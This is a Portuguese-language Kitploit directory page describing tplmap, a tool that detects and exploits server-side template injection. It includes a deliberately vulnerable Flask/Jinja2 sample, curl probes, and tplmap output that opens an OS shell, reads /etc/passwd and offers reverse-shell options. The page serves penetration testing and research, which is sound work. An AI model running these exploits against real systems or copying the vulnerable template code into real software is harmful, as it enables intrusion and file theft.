Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
tplmap — Ferramenta de Detecção e Exploração de Injeção de Template no Lado do Servidor e Injeção de Código | Kitploit
Ferramentas/GitHubGitHub/epinna/tplmap
Scanners de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubepinna/tplmap

tplmap

Ferramenta de Detecção e Exploração de Injeção de Template no Lado do Servidor e Injeção de Código

Ver Repositório
4.2k6846há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Tplmap

Este projeto não está mais sendo mantido. Ficarei feliz em mesclar novos PRs desde que eles não quebrem a suíte de testes.

Tplmap auxilia na exploração de vulnerabilidades de Injeção de Código e Injeção de Template do Lado do Servidor com várias técnicas de escape de sandbox para obter acesso ao sistema operacional subjacente.

A ferramenta e sua suíte de testes são desenvolvidas para pesquisar a classe de vulnerabilidade SSTI e para ser usada como ferramenta de segurança ofensiva durante testes de penetração em aplicações web.

As técnicas de quebra de sandbox vieram de Server-Side Template Injection: RCE For The Modern Web App de James Kett, outras pesquisas públicas [1] [2], e contribuições originais para esta ferramenta [3] [4].

Pode explorar vários contextos de código e cenários de injeção cega. Também suporta injeções de código do tipo eval() em Python, Ruby, PHP, Java e engines de template genéricos sem sandbox.

Injeção de Template do Lado do Servidor

Suponha que você está auditando um site que gera páginas dinâmicas usando templates compostos com valores fornecidos pelo usuário, como esta aplicação web escrita em Python e Flask que usa o engine de template Jinja2 de forma insegura.

root@kitploit:~
from flask import Flask, request
from jinja2 import Environment

app = Flask(__name__)
Jinja2 = Environment()

@app.route("/page")
def page():

    name = request.values.get('name')
    
    # SSTI VULNERABILITY
    # The vulnerability is introduced concatenating the
    # user-provided `name` variable to the template string.
    output = Jinja2.from_string('Hello ' + name + '!').render()
    
    # Instead, the variable should be passed to the template context.
    # Jinja2.from_string('Hello {{name}}!').render(name = name)

    return output

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Do ponto de vista de teste de caixa preta, a página reflete o valor de forma similar a uma vulnerabilidade XSS, mas também computa operações básicas em tempo de execução, revelando sua natureza SSTI.

root@kitploit:~
$ curl -g 'http://www.target.com/page?name=John'
Hello John!
$ curl -g 'http://www.target.com/page?name={{7*7}}'
Hello 49!

Exploração

Tplmap é capaz de detectar e explorar SSTI em uma variedade de engines de template para obter acesso ao sistema de arquivos e sistema operacional subjacentes. Execute-o contra a URL para testar se os parâmetros são vulneráveis.

root@kitploit:~
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: linux
  Technique: render
  Capabilities:

   Shell command execution: ok
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:

    --os-shell                Run shell on the target
    --os-cmd                  Execute shell commands
    --bind-shell PORT         Connect to a shell bind to a target port
    --reverse-shell HOST PORT Send a shell back to the attacker's port
    --upload LOCAL REMOTE     Upload files to the server
    --download REMOTE LOCAL   Download remote files

Use a opção --os-shell para iniciar um pseudo-terminal no alvo.

root@kitploit:~
$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Run commands on the operating system.

linux $ whoami
www
linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

Engines de template suportados

Tplmap suporta mais de 15 engines de template, engines de template sem sandbox e injeções genéricas do tipo eval().

EngineExecução Remota de ComandosCegoAvaliação de CódigoLeitura de ArquivoEscrita de Arquivo
Mako✓✓Python✓✓
Jinja2✓✓Python✓✓
Python (code eval)✓✓Python✓✓
Tornado✓✓Python✓✓
Nunjucks✓✓JavaScript✓✓
Pug✓✓JavaScript✓✓
doT✓✓JavaScript✓✓
Marko✓✓JavaScript✓✓
JavaScript (code eval)✓✓JavaScript✓✓
Dust (<= [email protected])✓✓JavaScript✓✓
EJS✓✓JavaScript✓✓
Ruby (code eval)✓✓Ruby✓✓
Slim✓✓Ruby✓✓
ERB✓✓Ruby✓✓
Smarty (unsecured)✓✓PHP✓✓
PHP (code eval)✓✓PHP✓✓
Twig (<=1.19)✓✓PHP✓✓
Freemarker✓✓Java✓✓
Velocity✓✓Java✓✓
Twig (>1.19)×××××
Smarty (secured)××

Plugin Burp Suite

Veja burp_extension/README.md.

Baixar ferramenta
×
×
×
Dust (> [email protected])×××××